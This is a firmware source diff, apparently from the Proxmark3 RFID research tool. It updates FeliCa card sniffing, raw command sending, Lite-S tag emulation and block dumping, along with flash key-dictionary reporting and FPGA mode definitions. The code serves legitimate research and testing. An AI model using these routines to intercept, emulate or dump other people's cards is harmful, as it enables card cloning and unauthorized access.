if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Start iso18092_setup");
LEDsoff();
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
@ -441,7 +452,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
BigBuf_Clear_ext(false);
// Initialize Demod and Uart structs
//DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
// DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
FelicaFrameinit(BigBuf_malloc(FELICA_MAX_FRAME_SIZE));
felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER;
@ -459,7 +470,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
// Signal field is on with the appropriate LED
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | fpga_minor_mode);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | fpga_minor_mode);
//20.4 ms generate field, start sending polling command afterwars.
SpinDelay(100);
@ -469,6 +480,14 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
LED_D_ON();
}
void felica_reset_frame_mode() {
switch_off();
//Resetting Frame mode (First set in fpgaloader.c)
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
}
//-----------------------------------------------------------------------------
// RAW FeliCa commands. Send out commands and store answers.
//-----------------------------------------------------------------------------
@ -476,8 +495,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
// arg1 len of commandbytes
// d.asBytes command bytes to send
void felica_sendraw(PacketCommandNG *c) {
if (DBGLEVEL > 3) Dbprintf("FeliCa_sendraw Enter");
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("FeliCa_sendraw Enter");
felica_command_t param = c->oldarg[0];
size_t len = c->oldarg[1] & 0xffff;
@ -487,21 +505,26 @@ void felica_sendraw(PacketCommandNG *c) {
felica_card_select_t card;
if ((param & FELICA_CONNECT))
clear_trace();
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Clear trace");
clear_trace();
set_tracing(true);
iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
if ((param & FELICA_CONNECT)) {
iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
// notify client selecting status.
// if failed selecting, turn off antenna and quite.
if (!(param & FELICA_NO_SELECT)) {
arg0 = felica_select_card(&card);
reply_old(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t));
if (arg0 > 0)
goto OUT;
reply_mix(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t));
if (arg0 > 0) {
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Error: Failed selecting card! ");
felica_reset_frame_mode();
return;
}
}
} else {
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("No card selection");
}
if ((param & FELICA_RAW)) {
@ -522,88 +545,84 @@ void felica_sendraw(PacketCommandNG *c) {
AddCrc(buf, len);
}
}
if (DBGLEVEL >= DBG_DEBUG) {
Dbprintf("Transmit Frame (no CRC shown):");
Dbhexdump(len, buf, 0);
Dbprintf("Buffer Length: %i", buf[2] + 4);
};
TransmitFor18092_AsReader(buf, buf[2] + 4, NULL, 1, 0);
arg0 = !WaitForFelicaReply(1024);
reply_old(CMD_ACK, arg0, 0, 0, FelicaFrame.framebytes + 2, FelicaFrame.len - 2);
arg0 = WaitForFelicaReply(1024);
if (DBGLEVEL >= DBG_DEBUG) {
Dbprintf("Received Frame Code: %d", arg0);
Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0);
};
uint32_t result = reply_mix(CMD_ACK, FelicaFrame.len, arg0, 0, FelicaFrame.framebytes, FelicaFrame.len);
if (result) {
Dbprintf("Reply to Client Error Code: %i", result);
}
}
if ((param & FELICA_NO_DISCONNECT))
return;
OUT:
switch_off();
//Resetting Frame mode (First set in fpgaloader.c)
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
if (DBGLEVEL > 3) Dbprintf("FeliCa_sendraw Exit");
if ((param & FELICA_NO_DISCONNECT)) {
Dbprintf("Disconnect");
}
if (DBGLEVEL >= DBG_DEBUG)
Dbprintf("FeliCa_sendraw Exit");
felica_reset_frame_mode();
return;
}
void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) {
int remFrames = (samplesToSkip) ? samplesToSkip : 0;
Dbprintf("Sniff FelicaLiteS: Getting first %d frames, Skipping %d triggers.\n", samplesToSkip, triggersToSkip);
Dbprintf("Sniff Felica: Getting first %d frames, Skipping after %d triggers.\n", samplesToSkip, triggersToSkip);
clear_trace();
set_tracing(true);
iso18092_setup(FPGA_HF_ISO18092_FLAG_NOMOD);
//the frame bits are slow enough.
int n = BigBuf_max_traceLen() / sizeof(uint8_t); // take all memory
int numbts = 0;
uint8_t *dest = (uint8_t *)BigBuf_get_addr();
uint8_t *destend = dest + n - 2;
uint32_t endframe = GetCountSspClk();
while (dest <= destend) {
LED_D_ON();
uint16_t numbts = 0;
int trigger_cnt = 0;
uint32_t timeout = iso18092_get_timeout();
bool isReaderFrame = true;
while (!BUTTON_PRESS()) {
WDT_HIT();
if (BUTTON_PRESS()) break;
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR);
Process18092Byte(dist);
//to be sure we are in frame
if (FelicaFrame.state == STATE_GET_LENGTH) {
//length is after 48 (PRE)+16 (SYNC) - 64 ticks +maybe offset? not 100%
uint16_t distance = GetCountSspClk() - endframe - 64 + (FelicaFrame.byte_offset > 0 ? (8 - FelicaFrame.byte_offset) : 0);
*dest = distance >> 8;
dest++;
*dest = (distance & 0xff);
dest++;
if ((dist >= 178) && (++trigger_cnt > triggersToSkip)) {
Dbprintf("triggersToSkip kicked %d", dist);
break;
}
//crc NOT checked
if (FelicaFrame.state == STATE_FULL) {
endframe = GetCountSspClk();
//*dest = FelicaFrame.crc_ok; //kind of wasteful
dest++;
for (int i = 0; i < FelicaFrame.len; i++) {
*dest = FelicaFrame.framebytes[i];
dest++;
if (dest >= destend) break;
if ((FelicaFrame.framebytes[3] % 2) == 0) {
isReaderFrame = true; // All Reader Frames are even and all Tag frames are odd
} else {
isReaderFrame = false;
}
remFrames--;
if (remFrames <= 0) break;
if (dest >= destend) break;
if (remFrames <= 0) {
Dbprintf("Stop Sniffing - samplesToSkip reached!");
break;
}
LogTrace(FelicaFrame.framebytes,
FelicaFrame.len,
((GetCountSspClk() & 0xfffffff8) << 4) - DELAY_AIR2ARM_AS_READER - timeout,
((GetCountSspClk() & 0xfffffff8) << 4) - DELAY_AIR2ARM_AS_READER,
NULL,
isReaderFrame
);
numbts += FelicaFrame.len;
FelicaFrameReset();
}
}
}
switch_off();
//reset framing
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
set_tracelen(numbts);
set_tracelen(BigBuf_max_traceLen());
Dbprintf("Felica sniffing done, tracelen: %i, use hf list felica for annotations", BigBuf_get_traceLen());
reply_old(CMD_ACK, 1, numbts, 0, 0, 0);
LED_D_OFF();
}
#define R_POLL0_LEN 0x16
@ -700,7 +719,7 @@ void felica_sim_lite(uint64_t uid) {
TransmitFor18092_AsReader(curresp, curlen, NULL, 0, 0);
//switch back
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD);
FelicaFrameReset();
listenmode = true;
@ -717,8 +736,9 @@ void felica_sim_lite(uint64_t uid) {
DbpString("Felica Lite-S sim end");
}
void felica_dump_lite_s() {
#define RES_SVC_LEN 11 + 3
void felica_dump_lite_s() {
uint8_t ndef[8];
uint8_t poll[10] = { 0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xff, 0xff, 0x00, 0x00, 0x09, 0x21};
uint16_t liteblks[28] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x90, 0x91, 0x92, 0xa0};
@ -732,28 +752,26 @@ void felica_dump_lite_s() {
uint8_t *dest = BigBuf_get_addr();
while (!BUTTON_PRESS() && !data_available()) {
WDT_HIT();
// polling?
//TransmitFor18092_AsReader(poll, 10, GetCountSspClk()+512, 1, 0);
TransmitFor18092_AsReader(poll, 10, NULL, 1, 0);
if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) {
// copy 8bytes to ndef.
memcpy(ndef, FelicaFrame.framebytes + 4, 8);
// for (c=0; c < 8; c++)
// ndef[c] = FelicaFrame.framebytes[c+4];
for (blknum = 0; blknum < sizeof(liteblks);) {
for (blknum = 0; blknum < ARRAYLEN(liteblks);) {
// block to read.
BuildFliteRdblk(ndef, 1, &liteblks[blknum]);
//TransmitFor18092_AsReader(frameSpace, frameSpace[2]+4, GetCountSspClk()+512, 1, 0);
TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0);
TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0);
// read block
if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_RDBLK_ACK) {
@ -782,11 +800,11 @@ void felica_dump_lite_s() {
}
}
}
isOK = true;
break;
}
}
switch_off();
//Resetting Frame mode (First set in fpgaloader.c)

View file

@ -1,21 +1,22 @@
//-----------------------------------------------------------------------------
// Samy Kamkar, 2011, 2012
// Brad antoniewicz 2011
// Christian Herrmann, 2017
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// StandAlone Mod
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __FELICA_H
#define __FELICA_H
#ifndef __LF_PROXBRUTE_H
#define __LF_PROXBRUTE_H
#include "common.h"
#include "cmd.h"
#include "standalone.h" // standalone definitions
#include "apps.h" // debugstatements, lfops?
void felica_sendraw(PacketCommandNG *c);
void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip);
void felica_sim_lite(uint64_t uid);
void felica_dump_lite_s();
#define OPTS 2
#endif /* __LF_PROXBRUTE_H */
#endif

View file

@ -1,4 +1,10 @@
#include "flashmem.h"
#include "pmflash.h"
#include "proxmark3_arm.h"
#include "ticks.h"
#include "dbprint.h"
#include "string.h"
/* here: use NCPS2 @ PA10: */
#define SPI_CSR_NUM 2
@ -15,7 +21,7 @@ uint32_t FLASHMEM_SPIBAUDRATE = FLASH_BAUD;
void FlashmemSetSpiBaudrate(uint32_t baudrate) {
FLASHMEM_SPIBAUDRATE = baudrate;
Dbprintf("Spi Baudrate : %dMhz", FLASHMEM_SPIBAUDRATE / 1000000);
Dbprintf("Spi Baudrate : %dMHz", FLASHMEM_SPIBAUDRATE / 1000000);
}
// initialize
@ -553,6 +559,7 @@ void Flashmem_print_status(void) {
}
void Flashmem_print_info(void) {
if (!FlashInit()) return;
DbpString(_BLUE_("Flash memory dictionary loaded"));
@ -561,25 +568,28 @@ void Flashmem_print_info(void) {
uint8_t keysum[2];
uint16_t num;
Flash_CheckBusy(BUSY_TIMEOUT);
uint16_t isok = Flash_ReadDataCont(DEFAULT_MF_KEYS_OFFSET, keysum, 2);
if (isok == 2) {
num = ((keysum[1] << 8) | keysum[0]);
if (num != 0xFFFF && num != 0x0)
Dbprintf(" Mifare................"_YELLOW_("%d")"keys", num);
Dbprintf(" Mifare.................."_YELLOW_("%d")"keys", num);
}
Flash_CheckBusy(BUSY_TIMEOUT);
isok = Flash_ReadDataCont(DEFAULT_T55XX_KEYS_OFFSET, keysum, 2);
if (isok == 2) {
num = ((keysum[1] << 8) | keysum[0]);
if (num != 0xFFFF && num != 0x0)
Dbprintf(" T55x7................."_YELLOW_("%d")"keys", num);
Dbprintf(" T55x7..................."_YELLOW_("%d")"keys", num);
}
Flash_CheckBusy(BUSY_TIMEOUT);
isok = Flash_ReadDataCont(DEFAULT_ICLASS_KEYS_OFFSET, keysum, 2);
if (isok == 2) {
num = ((keysum[1] << 8) | keysum[0]);
if (num != 0xFFFF && num != 0x0)
Dbprintf(" iClass................"_YELLOW_("%d")"keys", num);
Dbprintf(" iClass.................."_YELLOW_("%d")"keys", num);
}
FlashStop();

View file

@ -28,9 +28,7 @@
#ifndef __FLASHMEM_H
#define __FLASHMEM_H
#include "proxmark3.h"
#include "apps.h"
#include "ticks.h"
#include "common.h"
// Used Command
#define ID 0x90
@ -62,7 +60,7 @@
#define RESUME 0x7A
// Flash busy timeout: 20ms is the strict minimum when writing 256kb
#define BUSY_TIMEOUT 50000L
#define BUSY_TIMEOUT 200000L
#define WINBOND_MANID 0xEF
#define WINBOND_DEVID 0x11
@ -102,7 +100,6 @@
#define MAX_BLOCKS 4
#define MAX_SECTORS 16
#define MCK 48000000
//#define FLASH_BAUD 24000000
#define FLASH_MINFAST 24000000 //33000000
#define FLASH_BAUD MCK/2
@ -112,7 +109,6 @@
#define FASTFLASH (FLASHMEM_SPIBAUDRATE > FLASH_MINFAST)
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
void Dbprintf(const char *fmt, ...);
void FlashmemSetSpiBaudrate(uint32_t baudrate);
bool FlashInit();
@ -142,5 +138,6 @@ uint16_t Flash_WriteData(uint32_t address, uint8_t *in, uint16_t len);
uint16_t Flash_WriteDataCont(uint32_t address, uint8_t *in, uint16_t len);
void Flashmem_print_status(void);
void Flashmem_print_info(void);
uint16_t FlashSendLastByte(uint32_t data);
#endif

View file

@ -6,6 +6,8 @@
// Fonts for the LCD
//-----------------------------------------------------------------------------
#include "fonts_disabled.h"
const char FONT6x8[97][8] = {
{0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00}, // columns, rows, bytes per char
{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // space

View file

@ -11,6 +11,15 @@
//-----------------------------------------------------------------------------
#include "fpgaloader.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "BigBuf.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "zlib.h"
#include "fpga.h"
#include "string.h"
// remember which version of the bitstream we have already downloaded to the FPGA
static int downloaded_bitstream = 0;
@ -81,7 +90,7 @@ void SetupSpi(int mode) {
AT91C_BASE_SPI->SPI_CSR[0] =
(1 << 24) | // Delay between Consecutive Transfers (32 MCK periods)
(1 << 16) | // Delay Before SPCK (1 MCK period)
(6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud
(6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24MHz/6 = 4M baud
AT91C_SPI_BITS_16 | // Bits per Transfer (16 bits)
(0 << 3) | // Chip Select inactive after transfer
AT91C_SPI_NCPHA | // Clock Phase data captured on leading edge, changes on following edge
@ -101,7 +110,7 @@ void SetupSpi(int mode) {
AT91C_BASE_SPI->SPI_CSR[2] =
( 1 << 24) | // Delay between Consecutive Transfers (32 MCK periods)
( 1 << 16) | // Delay Before SPCK (1 MCK period)
( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud
( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24MHz/6 = 4M baud
AT91C_SPI_BITS_9 | // Bits per Transfer (9 bits)
( 0 << 3) | // Chip Select inactive after transfer
( 1 << 1) | // Clock Phase data captured on leading edge, changes on following edge
@ -115,8 +124,8 @@ void SetupSpi(int mode) {
}
//-----------------------------------------------------------------------------
// Set up the synchronous serial port, with the one set of options that we
// always use when we are talking to the FPGA. Both RX and TX are enabled.
// Set up the synchronous serial port with the set of options that fits
// the FPGA mode. Both RX and TX are always enabled.
//-----------------------------------------------------------------------------
void FpgaSetupSsc(void) {
// First configure the GPIOs, and get ourselves a clock.
@ -132,16 +141,16 @@ void FpgaSetupSsc(void) {
// Now set up the SSC proper, starting from a known state.
AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST;
// RX clock comes from TX clock, RX starts when TX starts, data changes
// on RX clock rising edge, sampled on falling edge
// RX clock comes from TX clock, RX starts on Transmit Start,
// data and frame signal is sampled on falling edge of RK
AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(1) | SSC_CLOCK_MODE_START(1);
// 8 bits per transfer, no loopback, MSB first, 1 transfer per sync
// pulse, no output sync
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
// clock comes from TK pin, no clock output, outputs change on falling
// edge of TK, sample on rising edge of TK, start on positive-going edge of sync
// TX clock comes from TK pin, no clock output, outputs change on falling
// edge of TK, frame sync is sampled on rising edge of TK, start TX on rising edge of TF
AT91C_BASE_SSC->SSC_TCMR = SSC_CLOCK_MODE_SELECT(2) | SSC_CLOCK_MODE_START(5);
// tx framing is the same as the rx framing
@ -153,8 +162,7 @@ void FpgaSetupSsc(void) {
//-----------------------------------------------------------------------------
// Set up DMA to receive samples from the FPGA. We will use the PDC, with
// a single buffer as a circular buffer (so that we just chain back to
// ourselves, not to another buffer). The stuff to manipulate those buffers
// is in apps.h, because it should be inlined, for speed.
// ourselves, not to another buffer).
//-----------------------------------------------------------------------------
bool FpgaSetupSscDma(uint8_t *buf, int len) {
if (buf == NULL) return false;
@ -392,9 +400,13 @@ static int bitparse_find_section(int bitstream_version, char section_name, uint3
void FpgaDownloadAndGo(int bitstream_version) {
// check whether or not the bitstream is already loaded
if (downloaded_bitstream == bitstream_version)
if (downloaded_bitstream == bitstream_version) {
FpgaEnableTracing();
return;
}
// Send waiting time extension request as this will take a while
send_wtx(1500);
z_stream compressed_fpga_stream;
uint8_t output_buffer[OUTPUT_BUFFER_LEN] = {0x00};
@ -427,6 +439,8 @@ void FpgaDownloadAndGo(int bitstream_version) {
// Send a 16 bit command/data pair to the FPGA.
// The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0
// where C is the 4 bit command and D is the 12 bit data
//
// @params cmd and v gets or over eachother. Take careful note of overlapping bits.
//-----------------------------------------------------------------------------
void FpgaSendCommand(uint16_t cmd, uint16_t v) {
SetupSpi(SPI_FPGA_MODE);
@ -439,10 +453,21 @@ void FpgaSendCommand(uint16_t cmd, uint16_t v) {
// vs. clone vs. etc.). This is now a special case of FpgaSendCommand() to
// avoid changing this function's occurence everywhere in the source code.
//-----------------------------------------------------------------------------
void FpgaWriteConfWord(uint8_t v) {
void FpgaWriteConfWord(uint16_t v) {
FpgaSendCommand(FPGA_CMD_SET_CONFREG, v);
}
//-----------------------------------------------------------------------------
// enable/disable FPGA internal tracing
//-----------------------------------------------------------------------------
void FpgaEnableTracing(void) {
FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 1);
}
void FpgaDisableTracing(void) {
FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 0);
}
//-----------------------------------------------------------------------------
// Set up the CMOS switches that mux the ADC: four switches, independently
// closable, but should only close one at a time. Not an FPGA thing, but

View file

@ -12,70 +12,80 @@
#ifndef __FPGALOADER_H
#define __FPGALOADER_H
#include <stdint.h>
#include <stdbool.h>
#include "apps.h"
#include "fpga.h"
#include "common.h" // standard definitions
#include "proxmark3.h" // common area
#include "string.h"
#include "BigBuf.h" // bigbuf mem
#include "zlib.h" // uncompress
#include "common.h"
void FpgaSendCommand(uint16_t cmd, uint16_t v);
void FpgaWriteConfWord(uint8_t v);
void FpgaDownloadAndGo(int bitstream_version);
// void FpgaGatherVersion(int bitstream_version, char *dst, int len);
void FpgaSetupSsc(void);
void SetupSpi(int mode);
bool FpgaSetupSscDma(uint8_t *buf, int len);
void Fpga_print_status(void);
int FpgaGetCurrent(void);
#define FpgaDisableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS;
#define FpgaEnableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN;
void SetAdcMuxFor(uint32_t whichGpio);
// extern and generel turn off the antenna method
void switch_off(void);
// definitions for multiple FPGA config files support
#define FPGA_BITSTREAM_LF 1
#define FPGA_BITSTREAM_HF 2
//#define FPGA_BITSTREAM_FELICA 3
/*
Communication between ARM / FPGA is done inside armsrc/fpgaloader.c (function FpgaSendCommand)
Send 16 bit command / data pair to FPGA
The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0
where
C is 4bit command
D is 12bit data
-----+--------- frame layout --------------------
bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
-----+-------------------------------------------
cmd | x x x x
major| x x x
opt | x x
divi | x x x x x x x x
thres| x x x x x x x x
-----+-------------------------------------------
*/
// Definitions for the FPGA commands.
#define FPGA_CMD_SET_CONFREG (1<<12)
#define FPGA_CMD_SET_DIVISOR (2<<12)
#define FPGA_CMD_SET_USER_BYTE1 (3<<12)
// BOTH HF / LF
#define FPGA_CMD_SET_CONFREG (1<<12) // C
// LF
#define FPGA_CMD_SET_DIVISOR (2<<12) // C
#define FPGA_CMD_SET_USER_BYTE1 (3<<12) // C
// HF
#define FPGA_CMD_TRACE_ENABLE (2<<12) // C
// Definitions for the FPGA configuration word.
// LF
#define FPGA_MAJOR_MODE_LF_ADC (0<<5)
#define FPGA_MAJOR_MODE_LF_READER (0<<5)
#define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5)
#define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5)
// HF
#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5)
#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5)
#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5)
#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5)
#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5)
#define FPGA_MAJOR_MODE_HF_FELICA (5<<5)
// BOTH
#define FPGA_MAJOR_MODE_OFF_LF (6<<5)
#define FPGA_MAJOR_MODE_OFF (7<<5)
#define FPGA_MAJOR_MODE_LF_ADC (3<<5)
// HF
#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) // D
#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) // D
#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) // D
#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) // D
#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) // D
#define FPGA_MAJOR_MODE_HF_ISO18092 (5<<5) // D
#define FPGA_MAJOR_MODE_HF_GET_TRACE (6<<5) // D
// BOTH HF / LF
#define FPGA_MAJOR_MODE_OFF (7<<5) // D
// Options for LF_READER
#define FPGA_LF_ADC_READER_FIELD 0x1
// Options for LF_ADC
#define FPGA_LF_ADC_READER_FIELD (1<<0)
// Options for LF_EDGE_DETECT
#define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1
#define FPGA_LF_EDGE_DETECT_READER_FIELD (1<<0)
#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE (1<<1)
#define FPGA_LF_EDGE_DETECT_READER_FIELD 0x1
#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE 0x2
// Options for the HF reader, tx to tag
#define FPGA_HF_READER_TX_SHALLOW_MOD (1<<0)
#define FPGA_HF_READER_TX_SHALLOW_MOD 0x1
// Options for the HF reader, correlating against rx from tag
#define FPGA_HF_READER_RX_XCORR_848_KHZ (1<<0)
#define FPGA_HF_READER_RX_XCORR_SNOOP (1<<1)
#define FPGA_HF_READER_RX_XCORR_QUARTER (1<<2)
#define FPGA_HF_READER_RX_XCORR_848_KHZ 0x1
#define FPGA_HF_READER_RX_XCORR_SNOOP 0x2
#define FPGA_HF_READER_RX_XCORR_QUARTER 0x4
// Options for the HF simulated tag, how to modulate
#define FPGA_HF_SIMULATOR_NO_MODULATION 0x0 // 0000
#define FPGA_HF_SIMULATOR_MODULATE_BPSK 0x1 // 0001
@ -85,16 +95,31 @@ void switch_off(void);
// no 848K
// Options for ISO14443A
#define FPGA_HF_ISO14443A_SNIFFER (0<<0)
#define FPGA_HF_ISO14443A_TAGSIM_LISTEN (1<<0)
#define FPGA_HF_ISO14443A_TAGSIM_MOD (2<<0)
#define FPGA_HF_ISO14443A_READER_LISTEN (3<<0)
#define FPGA_HF_ISO14443A_READER_MOD (4<<0)
#define FPGA_HF_ISO14443A_SNIFFER 0x0
#define FPGA_HF_ISO14443A_TAGSIM_LISTEN 0x1
#define FPGA_HF_ISO14443A_TAGSIM_MOD 0x2
#define FPGA_HF_ISO14443A_READER_LISTEN 0x3
#define FPGA_HF_ISO14443A_READER_MOD 0x4
//options for Felica.
#define FPGA_MAJOR_MODE_ISO18092 (5<<5) // 01010 0000
#define FPGA_HF_ISO18092_FLAG_NOMOD (1<<0) // 0001 disable modulation module
#define FPGA_HF_ISO18092_FLAG_424K (2<<0) // 0010 should enable 414k mode (untested). No autodetect
#define FPGA_HF_ISO18092_FLAG_READER (4<<0) // 0100 enables antenna power, to act as a reader instead of tag
#define FPGA_HF_ISO18092_FLAG_NOMOD 0x1 // 0001 disable modulation module
#define FPGA_HF_ISO18092_FLAG_424K 0x2 // 0010 should enable 414k mode (untested). No autodetect
#define FPGA_HF_ISO18092_FLAG_READER 0x4 // 0100 enables antenna power, to act as a reader instead of tag
void FpgaSendCommand(uint16_t cmd, uint16_t v);
void FpgaWriteConfWord(uint16_t v);
void FpgaEnableTracing(void);
void FpgaDisableTracing(void);
void FpgaDownloadAndGo(int bitstream_version);
// void FpgaGatherVersion(int bitstream_version, char *dst, int len);
void FpgaSetupSsc(void);
void SetupSpi(int mode);
bool FpgaSetupSscDma(uint8_t *buf, int len);
void Fpga_print_status(void);
int FpgaGetCurrent(void);
void SetAdcMuxFor(uint32_t whichGpio);
// extern and generel turn off the antenna method
void switch_off(void);
#endif

1470
armsrc/frozen.c Normal file

File diff suppressed because it is too large Load diff

312
armsrc/frozen.h Normal file
View file

@ -0,0 +1,312 @@
/*
* Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
* Copyright (c) 2018 Cesanta Software Limited
* All rights reserved
*
* Licensed under the Apache License, Version 2.0 (the ""License"");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an ""AS IS"" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CS_FROZEN_FROZEN_H_
#define CS_FROZEN_FROZEN_H_
#include <stdarg.h>
#include <stdio.h>
/* JSON token type */
enum json_token_type {
JSON_TYPE_INVALID = 0, /* memsetting to 0 should create INVALID value */
JSON_TYPE_STRING,
JSON_TYPE_NUMBER,
JSON_TYPE_TRUE,
JSON_TYPE_FALSE,
JSON_TYPE_NULL,
JSON_TYPE_OBJECT_START,
JSON_TYPE_OBJECT_END,
JSON_TYPE_ARRAY_START,
JSON_TYPE_ARRAY_END,
JSON_TYPES_CNT
};
/*
* Structure containing token type and value. Used in `json_walk()` and
* `json_scanf()` with the format specifier `%T`.
*/
struct json_token {
const char *ptr; /* Points to the beginning of the value */
int len; /* Value length */
enum json_token_type type; /* Type of the token, possible values are above */
};
#define JSON_INVALID_TOKEN \
{ 0, 0, JSON_TYPE_INVALID }
/* Error codes */
#define JSON_STRING_INVALID -1
#define JSON_STRING_INCOMPLETE -2
/*
* Callback-based SAX-like API.
*
* Property name and length is given only if it's available: i.e. if current
* event is an object's property. In other cases, `name` is `NULL`. For
* example, name is never given:
* - For the first value in the JSON string;
* - For events JSON_TYPE_OBJECT_END and JSON_TYPE_ARRAY_END
*
* E.g. for the input `{ "foo": 123, "bar": [ 1, 2, { "baz": true } ] }`,
* the sequence of callback invocations will be as follows:
*
* - type: JSON_TYPE_OBJECT_START, name: NULL, path: "", value: NULL
* - type: JSON_TYPE_NUMBER, name: "foo", path: ".foo", value: "123"
* - type: JSON_TYPE_ARRAY_START, name: "bar", path: ".bar", value: NULL
* - type: JSON_TYPE_NUMBER, name: "0", path: ".bar[0]", value: "1"
* - type: JSON_TYPE_NUMBER, name: "1", path: ".bar[1]", value: "2"
* - type: JSON_TYPE_OBJECT_START, name: "2", path: ".bar[2]", value: NULL
* - type: JSON_TYPE_TRUE, name: "baz", path: ".bar[2].baz", value: "true"
* - type: JSON_TYPE_OBJECT_END, name: NULL, path: ".bar[2]", value: "{ \"baz\":
*true }"
* - type: JSON_TYPE_ARRAY_END, name: NULL, path: ".bar", value: "[ 1, 2, {
*\"baz\": true } ]"
* - type: JSON_TYPE_OBJECT_END, name: NULL, path: "", value: "{ \"foo\": 123,
